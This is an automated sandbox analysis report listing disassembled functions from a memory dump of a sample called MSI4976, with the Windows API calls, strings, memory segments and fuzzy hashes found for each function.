Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: dde41f8053fa5fc8de6a147062d34897ab134f140b90017dcee2d850d049e1b9
Instruction ID: 6bfdcdf5aae48d17081f33bcf850fbd2796e048b9f73db83101485d437be089f
Opcode Fuzzy Hash: dde41f8053fa5fc8de6a147062d34897ab134f140b90017dcee2d850d049e1b9
Instruction Fuzzy Hash: 5B414D71600204AFDB56CF54C884A9A7BA9EF46350F19C4A9EA06DF209D7B5D944CBA0

Function 00365A25 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00365A93
GetMenuItemInfoW.USER32 ref: 00365AAF
DeleteMenu.USER32(00000004,00000007,00000000), ref: 00365AF5
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,003E18F0,00000000), ref: 00365B3E

Strings

0, xrefs: 00365A8B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 6c659dcd290132bd6b274f5bfecda01d9f5a710ee1e4cb4734e6427ebfbdae81
Instruction ID: ad5dc27669a374bdfad9be1f84a5e68fe8e3da7adb3a5c6372cca5b0c1d6596c
Opcode Fuzzy Hash: 6c659dcd290132bd6b274f5bfecda01d9f5a710ee1e4cb4734e6427ebfbdae81
Instruction Fuzzy Hash: 6D41A071204701AFDB22DF24C884B6AB7E8EF89314F05862DF9A59B2D5D770E800CB66

Function 0038B354 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0038B3E1

Strings

@U=u, xrefs: 0038B430

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: InvalidateRect
String ID: @U=u
API String ID: 634782764-2594219639
Opcode ID: ba8f8da73e9f27926403c1f43fddde7604414de84da290336e300c0cde467e22
Instruction ID: 6974690beec14174a63598844bd7f13d03ef0dafb8215b44a7f4ca2b2bc99115
Opcode Fuzzy Hash: ba8f8da73e9f27926403c1f43fddde7604414de84da290336e300c0cde467e22
Instruction Fuzzy Hash: 4131D234600306FBEF37AF19CC86BA8B768EB06350F558192FA52DB5E2C770E9419B51

Function 00380458 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?), ref: 00380478

Part of subcall function 00327F40: _memmove.LIBCMT ref: 00327F8F

Part of subcall function 0032A2FB: _memmove.LIBCMT ref: 0032A33D

Strings

none, xrefs: 00380553
stdcall, xrefs: 003804FA
cdecl, xrefs: 003804CF
winapi, xrefs: 003804E9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2411302734-567219261
Opcode ID: c73d800e3d92c06f267a1b2211c9b8e95552c392e4443cb26c21d14b50c597f1
Instruction ID: 184c0229e5af6d77f50ed658d5075c29b7ace0d9751dec0c22e17eb3092085e7
Opcode Fuzzy Hash: c73d800e3d92c06f267a1b2211c9b8e95552c392e4443cb26c21d14b50c597f1
Instruction Fuzzy Hash: 2731E735904619AFCF0AEF58D8409EEB3B5FF05310F10866AE4669B2D1DB31E905CF50

Function 00374A41 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00374A60
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00374A86
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00374AB6
InternetCloseHandle.WININET(00000000), ref: 00374AFD

Part of subcall function 003756A9: GetLastError.KERNEL32(?,?,00374A2B,00000000,00000000,00000001), ref: 003756BE

Strings

, xrefs: 00374AAF

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 1951874230-3916222277
Opcode ID: a28630a5ebb96220e6fccecb5004986d9f4962d01b2e6767b227313795c75e50
Instruction ID: 38aa0bf74ba028501c2b9d1060850228196afdec9cfe94dc010a27f847425903
Opcode Fuzzy Hash: a28630a5ebb96220e6fccecb5004986d9f4962d01b2e6767b227313795c75e50
Instruction Fuzzy Hash: D521CFB6540208BFEB27DF649C85EBFB6ECEB49744F10801AF10AA6140EB68ED058770

Function 003238E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0039454E

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

_memset.LIBCMT ref: 00323965
_wcscpy.LIBCMT ref: 003239B5
Shell_NotifyIconW.SHELL32(00000001,?), ref: 003239C6

Strings

Line: , xrefs: 00394578

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 699ee55b654e8e76c685ce87c3c903a75fe2767b3c801c43d2df970a78f088f0
Instruction ID: a9b28135b01f0a1471815f536e58527558b909eeb9a9a7f3f979d83e457be104
Opcode Fuzzy Hash: 699ee55b654e8e76c685ce87c3c903a75fe2767b3c801c43d2df970a78f088f0
Instruction Fuzzy Hash: 38318171409350ABD723EB60EC45FDBB7ECAF55310F40461AF1859A1A1DB74AA88CB92

Function 00388EEF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0033C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0033C657
Part of subcall function 0033C619: GetStockObject.GDI32(00000011), ref: 0033C66B
Part of subcall function 0033C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 0033C675

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00388F69
LoadLibraryW.KERNEL32(?), ref: 00388F70
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00388F85
DestroyWindow.USER32(?), ref: 00388F8D

Strings

SysAnimate32, xrefs: 00388F44

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: b037785234f62461c673036c67c4b1fa4ee86d17a04ad09ec682be826e4b13b7
Instruction ID: 541b20fbba8ddcc9b9f9d404c00f767636efce446e42776c58c92d1a014ff0a3
Opcode Fuzzy Hash: b037785234f62461c673036c67c4b1fa4ee86d17a04ad09ec682be826e4b13b7
Instruction Fuzzy Hash: 6621B871200305AFEF126F64EC80EBB37AEEB09324F914668FB5597190CB31DC929760

Function 0036E382 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0036E392
GetVolumeInformationW.KERNEL32(?,?,00000104,?,00000000,00000000,00000000,00000000), ref: 0036E3E6
__swprintf.LIBCMT ref: 0036E3FF
SetErrorMode.KERNEL32(00000000,00000001,00000000,003BDBF0), ref: 0036E43D

Strings

%lu, xrefs: 0036E3F9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 8040d4c01882444613828b1e59dd8d13a593adadcf6ed9bfc6ba25a02d92a2a5
Instruction ID: 23925d8908026ab081e2835f454feb9b86260cc4ee4dc16ba5a5398b2c787b13
Opcode Fuzzy Hash: 8040d4c01882444613828b1e59dd8d13a593adadcf6ed9bfc6ba25a02d92a2a5
Instruction Fuzzy Hash: F1214F79A40108AFCB11EFA5DC85EEE7BB8EF49714F108069F50AEB251D631DA05CB51

Function 0035D7D6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

Part of subcall function 0035D623: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0035D640
Part of subcall function 0035D623: GetWindowThreadProcessId.USER32(?,00000000), ref: 0035D653
Part of subcall function 0035D623: GetCurrentThreadId.KERNEL32 ref: 0035D65A
Part of subcall function 0035D623: AttachThreadInput.USER32(00000000), ref: 0035D661

GetFocus.USER32 ref: 0035D7FB

Part of subcall function 0035D66C: GetParent.USER32(?), ref: 0035D67A

GetClassNameW.USER32(?,?,00000100), ref: 0035D844
EnumChildWindows.USER32(?,0035D8BA), ref: 0035D86C
__swprintf.LIBCMT ref: 0035D886

Strings

%s%d, xrefs: 0035D880

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 5dbb1406bd2f44d78a589d9de809ba598433246b3496028d6630bd7a507495a7
Instruction ID: 904cdc1251de99e12e5c250741937cb81f38a70fb334cd8b55930adec09fdf19
Opcode Fuzzy Hash: 5dbb1406bd2f44d78a589d9de809ba598433246b3496028d6630bd7a507495a7
Instruction Fuzzy Hash: 651181755002056BDF23BFA09C86FEA376DAB44705F0040B9FE09AE1A6DBB499498B70

Function 0033C619 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0033C657
GetStockObject.GDI32(00000011), ref: 0033C66B
SendMessageW.USER32(00000000,00000030,00000000), ref: 0033C675

Strings

@U=u, xrefs: 0033C675

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID: @U=u
API String ID: 3970641297-2594219639
Opcode ID: ee5755f5714ec0248193c45ff009c7dcbbaab36bdc9cb0dd50d3157e2bfefda1
Instruction ID: f24608eb51b733ac7ffa70d83a8435e1d5671776d5b7a79eed5be4a57a45e610
Opcode Fuzzy Hash: ee5755f5714ec0248193c45ff009c7dcbbaab36bdc9cb0dd50d3157e2bfefda1
Instruction Fuzzy Hash: D811C072511658BFDF134FA09C81EEABB6DFF09364F0A2215FA05A6120C732DC60DBA0

Function 00381836 Relevance: 7.7, APIs: 5, Instructions: 232COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 003818E4
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00381917
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00381A3A
CloseHandle.KERNEL32(?), ref: 00381AB0

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: a442fcb521e0168a74e88c3c038b6b23a67192f2d625832a5e1b89ca837c8f25
Instruction ID: b6e7ce846b9e9c29ecbc1903b91b18b49cdb80e9903c6e4f57db56fd70597a99
Opcode Fuzzy Hash: a442fcb521e0168a74e88c3c038b6b23a67192f2d625832a5e1b89ca837c8f25
Instruction Fuzzy Hash: D381A571A00314ABDF15EF64C886BADBBF9AF44720F158059F905AF382D7B8ED418B90

Function 00380579 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 003805DF
GetProcAddress.KERNEL32(00000000,?), ref: 0038066E
GetProcAddress.KERNEL32(00000000,00000000), ref: 0038068C
GetProcAddress.KERNEL32(00000000,?), ref: 003806D2
FreeLibrary.KERNEL32(00000000,00000004), ref: 003806EC

Part of subcall function 0033F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,0036AEA5,?,?,00000000,00000008), ref: 0033F282
Part of subcall function 0033F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0036AEA5,?,?,00000000,00000008), ref: 0033F2A6

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 2870532365cba2900b357565ab3ff27b510af7cac42450492f58df30d062cfb6
Instruction ID: 8df5bcbf652f70b654b7711d398c4004b5aff925c64e375d1b47cf60cc42c154
Opcode Fuzzy Hash: 2870532365cba2900b357565ab3ff27b510af7cac42450492f58df30d062cfb6
Instruction Fuzzy Hash: F0518A75A00215DFCB06EFA8D4909EDB7B8FF49310F1580A5E946AB352EB30ED09CB90

Function 00382D1A Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

Part of subcall function 00383AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00382AA6,?,?), ref: 00383B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00382DE0
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00382E1F
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00382E66
RegCloseKey.ADVAPI32(?,?), ref: 00382E92
RegCloseKey.ADVAPI32(00000000), ref: 00382E9F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: c4474c50371a77305eac74ccdb963ca20745451ed764c7f5aac226545fc0758f
Instruction ID: ea1858f0df3262ffc34fdf8381890ae756897085df9112baaa832306c8127e95
Opcode Fuzzy Hash: c4474c50371a77305eac74ccdb963ca20745451ed764c7f5aac226545fc0758f
Instruction Fuzzy Hash: A0515A71214304AFC706EF64D881E6BB7E8BF88704F04895DF5968B2A1EB31E905CB52

Function 00371726 Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 003717D4
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 003717FD
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0037183C

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00371861
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00371869

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: f8d3c3047091fc942f0825f065c5d91e4506c9fb7b460c102ede290c9d0fd8b5
Instruction ID: 3c0b8e2cad9c4b6f554a8e4620f449b984b4cdb50fd3f85254f48626003ecdf5
Opcode Fuzzy Hash: f8d3c3047091fc942f0825f065c5d91e4506c9fb7b460c102ede290c9d0fd8b5
Instruction Fuzzy Hash: 33411A35A00215EFCB12EF65C991AADBBF5EF49310B14C099E80AAF362DB35ED01DB51

Function 0033B736 Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(000000FF), ref: 0033B749
ScreenToClient.USER32(00000000,000000FF), ref: 0033B766
GetAsyncKeyState.USER32(00000001), ref: 0033B78B
GetAsyncKeyState.USER32(00000002), ref: 0033B799

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 0e5df04a49adf356c437301c905359bbf520f6933d19180894d65ec2610b560c
Instruction ID: 4d3d00ebdaab1218ae8b823280fd2922ad593c859790214c19a22f0eaaacc744
Opcode Fuzzy Hash: 0e5df04a49adf356c437301c905359bbf520f6933d19180894d65ec2610b560c
Instruction Fuzzy Hash: 48413B75904219FFDF16DF64C884AEAFBB8FF45364F204359F82996290C730A990DBA1

Function 0035C145 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0035C156
PostMessageW.USER32(?,00000201,00000001), ref: 0035C200
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 0035C208
PostMessageW.USER32(?,00000202,00000000), ref: 0035C216
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 0035C21E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
